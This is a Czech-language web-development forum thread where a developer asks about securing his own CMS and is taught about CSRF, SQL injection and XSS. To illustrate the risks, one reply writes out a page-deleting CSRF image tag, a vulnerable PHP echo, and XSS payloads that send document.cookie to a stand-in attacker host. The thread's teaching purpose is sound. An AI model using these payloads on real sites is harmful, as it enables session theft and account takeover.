Autor Zpráva
Enngage
Profil
Ahoj,

Po více než půl roce usilovné práce jsem vytvořil první verzi vlastního CMS. Vím, že spousta práce mě teprve čeká, ale k tomu, abych vytvořil opravdu kvalitní produkt bych byl strašně rád, kdyby mi někdo zkušený poradil ohledně dalšího vývoje a odpověděl na několik otázek.

Nechci v tenhle okamžik ještě zveřejňovat ukázku i přesto, že je připravena na webu. Tu odešlu v PM, případně zveřejním později.

Našel by se někdo, kdo mi pomůže splnit si sen?

Edit: odkaz je tedy http://www.wcore.cz/demo/cms

login: demo
heslo: demo
Enngage
Profil
jenikkozak:
Ok, vím, že by se to nemělo, ale doufal jsem, že to projde. Nechtěl jsem totiž hned zveřejňovat z určitých bezpečnostních důvodů.. Nejde-li to ale jinak, tak adresa je http://wcore.cz/demo/cms

login: demo
heslo: demo

Tento účet má prozatím omezená práva.

V prvé řadě bych byl rád za takové úvodní zhodnocení - jak to na Vás působí na první pohled. Věřím, že většina z Vás se s CMS systémy setkala a tak má možnost určitého srovnání. Také vím, že to nejde srovnávat ihned s populárními systémy, ty jsou ve vývoji mnoho let mnohem zkušenějšími jedinci jako já.

Juandev:
Specializace je klasicky na správu webu - způsob, kterým se chci ubírat je prostřednictvím editovatelných zón -> divu lze přiřadit class "editable", která umožní k zóně přistupovat přes CMS a vkládat do zóny moduly. Můj cíl nejspíše není využití u velkých systémů, ale spíš u menších webů, které budou mít dostatek modulů. Například chci využít velké množství různých jQuery addonů s efekty apod.
Sir Tom
Profil
Enngage:
Také ahoj,

na první pohled se mi to líbí. Přijde mi to velmi jednoduché a uživatelsky příjemné. Trochu jsem hledal, kde se změní design (šablona) stránek - ale to patrně v demu nelze, že ano?

Co se týká vývoje, tak ses evidentně inspiroval u WP, či již nějakého většího zaběhnutého CMS.

Co zde trochu postrádám, je dokumentace. Bohužel ne vždy dokáži odhadnout, co kde je a co jak funguje, aniž bych na to kliknul...
Enngage
Profil
Sir Tom:
Ahoj :) Děkuju za odezvu. Šablona lze změnit. Vytvořit šablonu lze v "Vývoj - návrhy stránek" a pak na konkrétní stránce ji můžeš změnit v záložce "Nastavení -> použít návrh stránky".

Můžu se zeptat co je to WP? :) A ano, inspiroval jsem se kvalitním CMS Kentico, kde mám tu možnost i pracovat. Každopádně k řešení problémů přistupuji svým způsobem a narozdíl od Kentica použivám zcela jiné technologie.

Dokumentaci bych určitě rád sepsal, aby to bylo přístupnější i pro lidi, kteří nejsou obecně podobnými systémy seznámeni.

Rád bych se zeptal na nějaké otázky - první by mě zajímala bezpečnost. Tu jsem zatím neřešil. Říkám si, že jediné co v CMS potřebuju zabezpečit (XSS, SQL Injection..) je vlastně jen úvodní prihlašovací formulář. Je to tak? Vzhledem k tomu, že u modulů je možné psát SQL queries, tak mi přijde zbytečné ošetřovat jiné vstupy. Každá stránka CMS také ověřuje identitu uživatele a jestli má práva pro zobrazení. Takže k stránkám v CMS by se nikdo cizí neměl dostat. + Samozřejmě formuláře dostupné na živém webu bych ošetřil taky. Jsou mé úvahy správné, nebo je tu něco co mi uniká?

Jinak za každou připomínku budu nesmírně rád. Prozatím si sepisuju návrhy, které začnu implementovat po státnicích a odezva od třetích stran je pro mě moc důležitá protože s tak velkým projektem nemám zkušenosti.
DJ Miky
Profil
WP = WordPress, jeden z nejrozšířenějších PHP CMS.

Co se týče bezpečnosti, je nutné ošetřit všechny stránky, ne pouze přihlašovací formulář. Dám ti příklady:
1) Cross-site Request Forgery (CSRF): Budu v systému přihlášený jako administrátor a někdo mi pošle odkaz na speciálně vytvořenou stránku, kde bude (hypoteticky, nezakládám na reálné funkčnosti/adrese):
<img src="http://example.cz/cms/admin/pages?delete=1">
A já tu stránku navštívím a kvůli tomu, že jsem aktuálně přihlášen, se akce provede pod moji identitou a ke smazání stránky dojde. Nemusí se jednat pouze o akci přes GET, na stránce může být i automaticky odeslaný formulář na nějakou POST akci.

2) SQL injection: Budu na webu mít účet jako redaktor pouze pro editaci obsahu stránek, nebudu mít práva na hlubší zásahy do systému. Můžu ale využít SQL injection, abych závažnějším způsobem ovlivnil chod systému - získal citlivá data a osobní údaje uživatelů, provedl destruktivní změny smazáním obsahu z databáze apod.

3) Cross-site Scripting (XSS): Budu v systému přihlášený jako administrátor a někdo mi podstrčí nebo jinak vnutí odkaz (jako v bodu 1), který vědomě nebo nevědomě otevřu a např. odešlu obsah svých cookies útočníkovi. Ten pak může využít aktivní session a vniknout do systému pod mým účtem.

A nejsou to samozřejmě jediné možné způsoby narušení bezpečnosti. Doporučuji prostudovat si alespoň základní informace o možných zranitelnostech a útocích, např. podle projektu OWASP, který mimo jiné sestavuje žebříček 10 nejzávažnějších/nejrozšířenějších.

Ideální je pak používat nástroje a technologie, které možné zranitelnosti automaticky omezují nebo jim zcela zamezí. Problémem ručního ošetřování je totiž snadná možnost chyby (třeba zapomeneš ošetřit jeden z několika desítek formulářů, nebo si za pár let při dalším rozvoji už nevzpomeneš, co a jak bylo potřeba ošetřit). V případě SQL injection to typicky bývá databázová vrstva, která parametry vkládané do dotazů ošetřuje zcela automaticky a správně napříč možnými druhy databázových serverů.

Bezpečnost je nutné řešit průběžně po celou dobu vývoje, začátek nevyjímaje. Tím, že nebudeš zpočátku řešit nic a pak hotový systém budeš zabezpečovat, si výrazně zvyšuješ riziko chyby/opomenutí a ztěžuješ práci (můžeš zjistit, že některé ochrany se neobejdou bez znatelných změn v jádře systému).
Enngage
Profil
DJ Miky:
Děkuju za vyčerpávající informace. Mohl bych se zeptat co myslíš těmi nástroji, které zranitelnosti automaticky omezují? Jsem si jist, že kdybych to ošetřoval ručně, tak to nebude zdaleka tak kvalitní jak nějaké ověřené nástroje.

Měl bych otázku ohledně funkce mysql_query -> z dokumentace plyne, že tato bude někdy v budoucnu odstraněna, bohužel jsem si tohoto všiml až teď. Co si o tom myslíte? Mám předělat všechny queries do např. mysql_li ? Půjde o náročnou změnu implementace nebo jde čiště o "přepsání" syntaxe?

Děkuji všem za pomoc.
final
Profil
DJ Miky:
aj ja by som mal pár otázok ohľadom bezpečnosti:
1) Cross-site Request Forgery (CSRF): Budu v systému přihlášený jako administrátor a někdo mi pošle odkaz na speciálně vytvořenou stránku, kde bude (hypoteticky, nezakládám na reálné funkčnosti/adrese):
>
<img src="http://example.cz/cms/admin/pages?delete=1">
>
A já tu stránku navštívím a kvůli tomu, že jsem aktuálně přihlášen, se akce provede pod moji identitou a ke smazání stránky dojde. Nemusí se jednat pouze o akci přes GET, na stránce může být i automaticky odeslaný formulář na nějakou POST akci.
prečítal som si o tom dnes dosť článkov, ale vychádza mi z toho toto:
-nedá sa proti tomu brániť na 100%
-najefektívnejšie je vždy pri logine vygenerovať token, uložiť ho do db, a vždy kontrolovať správnosť tokenu teda ak by mi niekto poslal url v obrázku ht[!tp://example.cz/cms/admin/pages?delete=1 bez tokenu tak by sa nič nestalo, a nevyriešilo by to aj bod 3?

pochopil som to správne? nejaké lepšie riešenia?
DJ Miky
Profil
Enngage:
Ohledně obou bodů můžeš použít vrstvu, která práci s databází abstrahuje. Může se jednat o dibi, NotORM nebo čisté PDO, nad NotORM pracuje. Ty jednak zajišťují přenositelnost - výměna MySQL za PgSQL nebo SQLite bude jen otázkou přepsání parametrů připojení - a jednak automaticky ošetřují vkládané hodnoty podle použité databáze (samozřejmě pokud je použiješ správně, i tyto knihovny ti dovolí ručně sestavit dotaz, což je předpokladem pro SQL injection). Např. ukázka kódu z webu dibi:

dibi::query('SELECT * FROM [table] WHERE [id] = %i', $id);

$arr = array(
    'name' => 'John',
    'is_admin'  => TRUE,
);
dibi::query('INSERT INTO [table]', $arr);
// INSERT INTO `table` (`name`, `is_admin`) VALUES ('John', 1)

dibi::query('UPDATE `table` SET ', $arr, 'WHERE `id`=%i', $x);
// UPDATE `table` SET `name`='John', `is_admin`=1 WHERE `id` = 123

Podobné je to i v NotORM a PDO. Zadané hodnoty se správně ošetřují, tudíž jako $id, $arr i $x můžeš dosadit v podstatě cokoliv a nezpůsobí to SQL injection. Navíc je ošetření automatické, proto se nestane, že bys zapomněl nějakou hodnotu ošetřit.

Co se týče ostatních zranitelností, i tady ti mohou pomoct některé frameworky, ochranu proti XSS má kvalitně zpracovanou Nette, které v šablonách vypisované texty také automaticky ošetřuje, a to i v závislosti na kontextu. Ošetření vůči CSRF se u formulářů zajistí jedním řádkem. Viz stránka o bezpečnosti Nette.


final:
Dobrým předpokladem je využívat pro akce měnící data (vytvoření, úprava, smazání záznamu) formulář odesílaný POSTem. Způsob ošetření, který se běžně používá, je generování unikátního a náhodného tokenu pro každý formulář (ne jednoho pro celé sezení) a jeho následná kontrola při zpracování formuláře. Token můžeš na serveru uložit kamkoliv, do databáze nebo do session, na tom už tolik nezáleží.

Bod 3 je jiná zranitelnost, tu tímto způsobem nevyřešíš.
Praktická ukázka:
Máš vyhledávací formulář. Na stránce s výsledky vypíšeš i hledaný dotaz:
<h2>Výsledky vyhledávání slova <?php echo $_GET['q']; ?></h2>
Pokud jako hledaný řetězec napíšu např. <script>alert('ahoj');</script>, vznikne adresa třeba example.cz/search.php?q=<script>alert('ahoj');</script> a dojde k vypsání do textu stránky:
<h2>Výsledky vyhledávání slova <script>alert('ahoj');</script></h2>
Čímž se skript provede a vyskočí mi okno s textem 'ahoj'. Místo relativně neškodného alertu můžu napsat něco jako:
window.location = 'http://muj-web.example.com/ulozit.php?cookie=' + document.cookie;
Po vykonání tohoto skriptu se odešle obsah prohlížečové cookie na můj web, kde si ho můžu uložit a použít např. identifikátor session pro vniknutí do systému.
Řešení: ošetřovat všechny vypisované řetězce, v tomto případě bude potřeba funkce htmlspecialchars():
<h2>Výsledky vyhledávání slova <?php echo htmlspecialchars($_GET['q']); ?></h2>
Ale pravidla pro ošetření jsou složitější a závisí na kontextu (HTML, JavaScript, CSS,...), viz http://phpfashion.com/escapovani-definitivni-prirucka.
final
Profil
DJ Miky:
Dobrým předpokladem je využívat pro akce měnící data (vytvoření, úprava, smazání záznamu) formulář odesílaný POSTem. Způsob ošetření, který se běžně používá, je generování unikátního a náhodného tokenu pro každý formulář (ne jednoho pro celé sezení) a jeho následná kontrola při zpracování formuláře. Token můžeš na serveru uložit kamkoliv, do databáze nebo do session, na tom už tolik nezáleží.
čiže ten token mám vygenerovať až vždy keď užívateľ otvorí ten formulár? v takom prípade keby ten formulár neupravil a odišiel by to bolo zbytočne vytvorené nie?
Enngage
Profil
DJ Miky:
Znova děkuji za odpovědi:) Když to převedu praktičtější roviny -> Formuláře a URL parametry ošetřím na vstupu. V podstatě bych u těchto proměnných mohl kontrolovat alfa-numerické znaky. Pokud např. query string, hodnota ve formuláři obsahuje jiné znaky, tak zamezím jejich použití (to se nebude vztahovat na pole, kde se upravuje html - tam mám pocit, že to řeší ckeditor a codemirror do určité míry sám.

K tomu provedu změnu zastaralé mysql_query syntaxe na novější mysql_li. K tomu jsem se chtěl zeptat - bohužel teprve nahlížím do objektového programování a mám v tom zatím stále zmatek. Chtěl bych ale web předělat kompletně do objektového formátu a zajímalo mě jestli máte doporučení na nějakou class pro práci s databázovými daty?
final
Profil
DJ Miky:
Čímž se skript provede a vyskočí mi okno s textem 'ahoj'. Místo relativně neškodného alertu můžu napsat něco jako:
>
window.location = 'http://muj-web.example.com/ulozit.php?cookie=' + document.cookie;
>
Po vykonání tohoto skriptu se odešle obsah prohlížečové cookie na můj web, kde si ho můžu uložit a použít např. identifikátor session pro vniknutí do systému.
teraz som nad tým premýšlal..ale tým by som získal iba predsa svoje cookies nie? nič by mi predsa nepomohli keďže si ich môžem pozrieť aj v prehliadači
DJ Miky
Profil
Enngage:
Formuláře a URL parametry ošetřím na vstupu.

To není dobrá cesta, protože každé použití řetězce (SQL dotaz, HTML výstup, výstup do JavaScriptu) vyžaduje jinou formu ošetření (viz výše zmíněný odkaz) a ošetřením na vstupu daný řetězec znehodnotíš. Navíc bude u některých polí (zmíněné pole pro HTML) neprázdný průnik znaků, které jsou platné a potřebné, a znaků, které musíš ošetřit pro zamezení injekce. Právě u v poli pro HTML se můžou běžně vyskytnout apostrofy a uvozovky, přičemž po neošetřeném vložení do SQL dotazu ti v lepším případě způsobí syntaktickou chybu, v horším případě poskytnou prostor právě pro SQL injekci.

Co se týče databázové vrstvy, v příspěvku výše jsem odkazoval na dibi, NotORM a PDO. dibi a PDO ti zajistí syntaktickou správnost napříč různými databázemi (MySQL, PgSQL, SQLite, ...) a pomůžou automatickým ošetřováním vstupních parametrů. NotORM také, ale na rozdíl od obou předchozích jde trochu jinou cestou, snaží se vyhnout psaní SQL dotazů v klasické formě, ale nabízí jednoduché objektové rozhraní, které dotazy generuje samo (viz příklady na domovské stránce). Práce v NotORM je celkem pohodlná, ale pro začátečníky v objektovém programování může být až moc magická, takže bych spíše doporučil dibi, které se více podobá klasické práci s mysql_connect, _query, _fetch_* apod.

Samotné přepsání mysql_* na mysqli_* ti v ošetřování dotazů vůči SQL injekci moc nepomůže, pořád bys musel vše ošetřovat ručně. Automatické ošetření zajišťuje využití prepared statements, kde všechny vstupní parametry dodáš mimo samotný dotaz a knihovna ti zajistí správné ošetření. Konkrétně v mysqli mi to přijde trochu těžkopádné, v dibi, NotORM a PDO je to jednodušší a pohodlnější. Navíc mysqli_* pořád znamená závislost na MySQL databázi (a tím pádem horší přenositelnost).


final:
teraz som nad tým premýšlal..ale tým by som získal iba predsa svoje cookies nie? nič by mi predsa nepomohli keďže si ich môžem pozrieť aj v prehliadači

Lze to ale poměrně snadno zneužít pro získání cizích cookies. Vytvořím stránku a vložím na ní (neviditelný) obrázek:
<img src="http://www.example.cz/search.php?q=&lt;script&gt;window.location = 'http://muj-web.example.com/ulozit.php?cookie=' + document.cookie; &lt;/script&gt;" style="display: none;">
(Pozn.: Znaky v adrese by měly být více ošetřené, jen jsem nechtěl, aby to vypadalo krypticky.)
Pošlu ti odkaz, ty stránku navštívíš a odešlou se tvoje cookies z webu example.cz na můj web muj-web.example.com, kde si je uložím a nějak dále zužitkuji. Vložený JavaScriptový kód se totiž vykoná na doméně example.cz v tvém prohlížeči, tedy s tvými cookies. Navíc nejspíš ani nezjistíš, že se něco takového stalo.
final
Profil
DJ Miky:
ďakujem za pomoc
Enngage
Profil
DJ Miky:
Taky moc děkuji za pomoc. Nastuduju si PDO a pokusím se to do něj předělat.

Jinak jaké jsou Vaše poznatky obecně ohledně CMS? Je něco, na co bych se v této fázi měl zaměřit?

Vaše odpověď

Mohlo by se hodit


Prosím používejte diakritiku a interpunkci.

Ochrana proti spamu. Napište prosím číslo dvě-sta čtyřicet-sedm: